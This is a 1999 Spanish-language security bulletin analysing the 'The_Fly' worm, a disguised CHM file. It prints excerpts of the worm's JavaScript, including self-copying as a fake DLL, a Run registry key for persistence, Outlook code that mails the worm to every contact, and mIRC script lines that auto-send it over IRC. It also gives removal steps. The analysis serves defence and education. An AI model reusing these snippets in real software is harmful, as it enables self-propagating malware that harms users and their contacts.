martes, 21 de diciembre de 1999

"The_Fly", el análisis

Como ya adelantamos en el anterior boletín, donde introducíamos
a "The_Fly", os presentamos un análisis de este gusano a partir
de su código. Durante este recorrido podremos observar con
detalle como trabaja el gusano y descubrir ciertos aspectos,
como su payload, que han pasado desapercibidos en los análisis
de las casas antivirus que hasta el momento se han hecho eco
de él.
Una aparente broma electrónica
------------------------------

Recordemos que este gusano se nos presenta bajo el formato de un
fichero de ayuda compilado de Windows con el nombre de "The_Fly.chm".
Al intentar abrirlo provoca la aparición de la ventana de aviso de
Internet Explorer alertando del peligro potencial de su contenido:

---
Internet Explorer
Algunos elementos de software (controles ActiveX) en
esta página podrían no ser seguros. No se recomienda
ejecutarlos. ¿Desea permitir que se ejecuten?

SI / NO
---

En el caso de que optemos, acertadamente, por la opción "NO",
el gusano no podrá llevar a cabo su acción, e intentará engañar
al usuario, pidiendo que abra de nuevo el fichero y permita su
ejecución, a través del siguiente texto:

--
"The picture couln´t be shown. ActiveX wasn´t allowed, please
reload and select to use it."
--
("La imagen no pudo ser mostrada. ActiveX no fue permitido,
por favor, recarga y selecciónalo para utilizarlo.")

Si por el contrario hemos permitido la ejecución, el gusano
nos muestra "the_fly.jpg", un simpático gráfico, a modo de
broma, donde se puede apreciar parte de una dentadura con
uno de los dientes perforado con la silueta de una mosca,
justo debajo finaliza el chiste con el siguiente texto:

---
"If you ride a motorcycle, close your mouth. :)"
---
("Si conduces una moto, cierra la boca")



En este punto el usuario puede creer que se trata, simplemente,
de un chiste gráfico, sin embargo la realidad es bien distinta,
"The_Fly" habrá comenzado su acción de autoenvío e instalación
en el sistema. A partir de ahora nos introduciremos de lleno en
su código para averiguar las verdaderas intenciones de
"The_Fly".

"The_Fly" se instala en el sistema
----------------------------------

(Nota: durante todo el análisis presuponemos, por ser lo
más usual y descriptivo, que el directorio de Windows y de
sistema son los que se utilizan en la instalación por
defecto, "c:\windows" y "c:\windows\system", si bien este
aspecto puede cambiar en algunos equipos si se ha modificado
el parámetro 7del directorio durante la instalación.)

[Código(1)]---
Bible = new ActiveXObject("Scripting.FileSystemObject");
[...]
Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","")
.replace("::/the_fly.htm","")
,Bible.BuildPath(Bible.GetSpecialFolder(0),"THE_FLY.CHM"));
Bible.CopyFile(document.location.pathname.replace("/@MSITStore:","")
.replace("::/the_fly.htm","")
,Bible.BuildPath(Bible.GetSpecialFolder(1),"DXGFXB3D.DLL"));
Jesus = Bible.CreateTextFile(Bible.BuildPath(Bible.GetSpecialFolder(1)
,"MSJSVM.JS"),true);
---[/Código(1)]

Aquí podemos comprobar como, además de utilizar nombres de
variables con referencias religiosas, el autor utiliza el
objeto "FileSystemObject" para acceder al sistema de ficheros,
pudiendo utilizar a partir de entonces sus métodos para llevar
a cabo acciones como crear, abrir o escribir en archivos.

Unas líneas más abajo hace uso de estos métodos, observamos
como se copia a sí mismo en el directorio "C:\windows" como
"THE_FLY.CHM" y en "C:\windows\system" con el nombre de
"DXGFXB3D.DLL", simulando una librería, aunque en realidad
sigue siendo el mismo archivo en formato CHM.

Por último, observamos como crea un archivo con el nombre
de "MSJSVM.JS" en "C:\windows\system" donde escribe
numerosas líneas de código para terminar cerrándolo, como
podemos ver en [Código(2)]:

[Código(2)]---
Jesus.WriteLine("Prayer = new ActiveXObject(\"Scripting.
FileSystemObject\");")
Jesus.WriteLine("if Prayer.FileExists(Prayer.BuildPath
(Prayer.GetSpecialFolder(0),\"THE_FLY.CHM\")) == true) {")
Jesus.WriteLine("God();")Jesus.WriteLine("}")
[...]
Jesus.Close();
---[/Código(2)]

[Código(3)]---
Islam = new ActiveXObject("WScript.Shell");
Islam.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\
Windows\\CurrentVersion\\Run\\JavaScript VM",Bible.BuildPath
(Bible.GetSpecialFolder(1),"MSJSVM.JS"));<
---[/Código(3)]

Una vez se ha copiado a sí mismo en dos ocasiones con
diferentes nombres y ha creado un tercer archivo con parte
de su código, observamos [Código(3)] como el gusano
utiliza un método de Windows Scripting Host, lenguaje
propietario de Microsoft, para escribir en el registro de
Windows y crear la siguiente entrada:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Nombre: JavaScript VM
Datos: "C:\WINDOWS\SYSTEM\MSJSVM.JS"

De esta forma "The_Fly" se asegura que en cada inicio de
Windows se ejecute el código que ha introducido en el
archivo "MSJSVM.JS" y que más tarde analizaremos, de
momento sigamos con el estudio de "The_Fly.chm".

Al mas puro estilo "Melissa"
----------------------------

[Código(4)]---
Hinduism = new ActiveXObject("Outlook.Application");
[..]
Judaism = Hinduism.GetNameSpace("MAPI");
for (Vushnu = 1; Vushnu <= Judaism.AddressLists.Count; Vushnu++) {
[..]
Messiah.BCC = Messiah.BCC.concat("; ").concat(Nazareth.Address);}}
Messiah.Subject = "Funny thing";
Messiah.Body = "> If you ride a motorcycle, close your mouth. :)";
Messiah.Attachments.Add(Bible.BuildPath(Bible.GetSpecialFolder(0),
"THE_FLY.CHM"));
Messiah.DeleteAfterSubmit = true;Messiah.Send;
---[/Código(4)]

Este apartado nos recuerda al ya mítico Melissa, mediante Outlook
recorre todos los alias de su libreta de direcciones para
autoenviarse a cada uno de ellos en un mensaje con el asunto
"Funny thing" y el texto "> If you ride a motorcycle, close your
mouth. :)" en el cuerpo. Para adjuntarse utiliza el archivo
"THE_FLY.CHM" que copió en la carpeta "C:\windows".

Destaca el uso del campo BCC (Blind Carbon Copy), utilizado
para enviar un mensaje a múltiples direcciones, con la
particularidad, a diferencia del campo CC, que las direcciones
de correo del campo BCC no son incluidas en las copias de los
mensajes enviados, con lo que el destinatario no detecta que
el mensaje que le ha llegado forma parte de un envío múltiple.

Hasta aquí llega nuestro recorrido por el código de "The_Fly.chm",
pero no debemos olvidar que el gusano dejó parte de su código en
el fichero "MSJSVM.JS" en la carpeta "C:\windows\system" y
modificó el registro de Windows para que se ejecutará cada vez
que se iniciara el sistema, al estilo "backdoor". Veamos
a continuación que función cumple este fichero.

I-Worm vía IRC
--------------

[Código(5)]---
Prayer = new ActiveXObject("Scripting.FileSystemObject");
if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(0),
"THE_FLY.CHM")) == true) {
God();
}
else {
if (Prayer.FileExists(Prayer.BuildPath(Prayer.GetSpecialFolder(1),
"DXGFXB3D.DLL")) == true) {
Prayer.CopyFile(Prayer.BuildPath(Prayer.GetSpecialFolder(1),
"DXGFXB3D.DLL"),Prayer.BuildPath(Prayer.GetSpecialFolder(0),"THE_FLY.CHM"));
---[/Código(5)]

Nada más comenzar con el análisis de "MSJSVM.JS" descubrimos
porqué el gusano realizaba dos copias de sí mismo, en el caso
de que no exista la copia "C:\windows\THE_FLY.CHM" la crea a
partir de la otra copia, la que archivó en
"C:\windows\system\DXGFXB3D.DLL". Con esta operación parece que
el autor intenta hacer inútil el que alguien, en un intento de
borrar el gusano, eliminara el fichero "C:\windows\THE_FLY.CHM".
A continuación busca en el sistema las carpetas donde se instalan
los clientes de IRC mIRC y PIRCH98 para crear nuevos ficheros INI.


[Código(6)]---
if (Prayer.FileExists(Prayer.BuildPath(Jude,"MIRC32.EXE")) == true) {
Exodus = Prayer.CreateTextFile(Prayer.BuildPath(Jude,"SCRIPT.INI"),true);
Exodus.WriteLine("[script]");
Exodus.WriteLine("n0=on 1:join:#:if $me != $nick dcc send $nick"
.concat(Prayer.BuildPath(Prayer.GetSpecialFolder(0),"THE_FLY.CHM")));
Jesus.WriteLine("Exodus.Close();
---[/Código(6)]

En el caso de mIRC crea el fichero "SCRIPT.INI", borrando el
que tuviera, y añade las líneas para que el cliente de IRC
envíe de forma automática el archivo "THE_FLY.CHM" a todas las
personas que entren en el mismo canal de charla donde el usuario
infectado se encuentre. Con el cliente PIRCH98 realiza la misma
operación, creando un nuevo archivo "EVENTS.INI" para producir
el mismo efecto, convirtiéndose así en un i-worm para IRC.

El payload y los "despistes" de los antivirus
---------------------------------------------

Entre el código que crea el archivo "SCRIPT.INI" y "EVENTS.INI"
se encuentra la línea que dispara el payload del gusano y que al
parecer, según los análisis disponibles, ha pasado desapercibida
tanto para Trend Micro como para Panda Software. La tercera
compañía antivirus que se ha hecho eco de este gusano es Network
Associates, que extrañamente aun no ha facilitado su análisis
pese a que está anunciado en su lista de alertas desde el día
20 de este mes.

El payload se dispara cuando el fichero "MSJSVM.JS" se ejecuta
en el minuto 30 de cualquier hora del día, recordemos que este
fichero es lanzado de forma automática cada vez que iniciamos
el sistema. Afortunadamente el payload consiste simplemente en
mostrar una ventana, donde el autor bautiza al gusano como
"CommonSense" y parece que quiere mostrar su opinión en cuanto
a cuestiones religiosas se refiere mediante unas líneas de código.

---

Windows Scripting Host

/MIRC/OUTLOOK/PIRCH.CommonSense by Zulu
if (CommonSense == true) {
God = false;
Religion = false;
}
else {
God = true;
Religion = true;
}

ACEPTAR
---



Por último, hay otro detalle que también ha pasado desapercibido a las
casas antivirus, y no es otro que la existencia de dos versiones de
este gusano, cuya única diferencia es interna y tiene que ver con la
codificación del código JavaScript en la versión 1.1. Para
diferenciar la versión a simple vista podemos fijarnos en el tamaño
de los ficheros "THE_FLY.CHM" o "DXGFXB3D.DLL", si su tamaño es
22.074 bytes será la versión 1.0, y en el caso de que sea 24.874
bytes estaremos tratando con la 1.1.


Librándonos de "The_Fly" de forma manual
----------------------------------------

En caso de infección, es muy sencillo librarse de "The_Fly".
Bastará con borrar los ficheros "c:\windows\THE_FLY.CHM",
"c:\windows\system\DXGFXB3D.DLL" y "c:\windows\system\MSJSVM.JS".
Por último, a través de la aplicación REGEDIT.EXE, procederemos a
borrar la entrada que creó en el registro:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Nombre: JavaScript VM
Datos: "C:\WINDOWS\SYSTEM\MSJSVM.JS"

Por último, una vez más, recordamos a todos nuestros lectores
que no deben abrir o ejecutar ningún archivo no solicitado,
aun cuando el remitente sea una fuente conocida y de confianza.

Más información:
Panda Software
Trend Micro
The_Fly, un gusano que se propaga vía mIRC, Pirch y Outlook

Dedicatoria
-----------
No es habitual, de hecho es una norma, que en los boletines
"una-al-dia" se incluyan referencias personales fuera del propio
ámbito de la noticia. En esta excepción, que confirma la regla,
me gustaría, en nombre de todo el equipo de HispaSec, felicitarles
la Navidad a todos nuestros lectores y desearles lo mejor para
el año 2000.

Quiero extender estos deseos, de forma especial, a nuestro
compañero Antonio Ropero, quien se recupera en estos momentos
de una intervención quirúrgica tras un aparatoso accidente de
tráfico.




Bernardo Quintero
bernardo@hispasec.com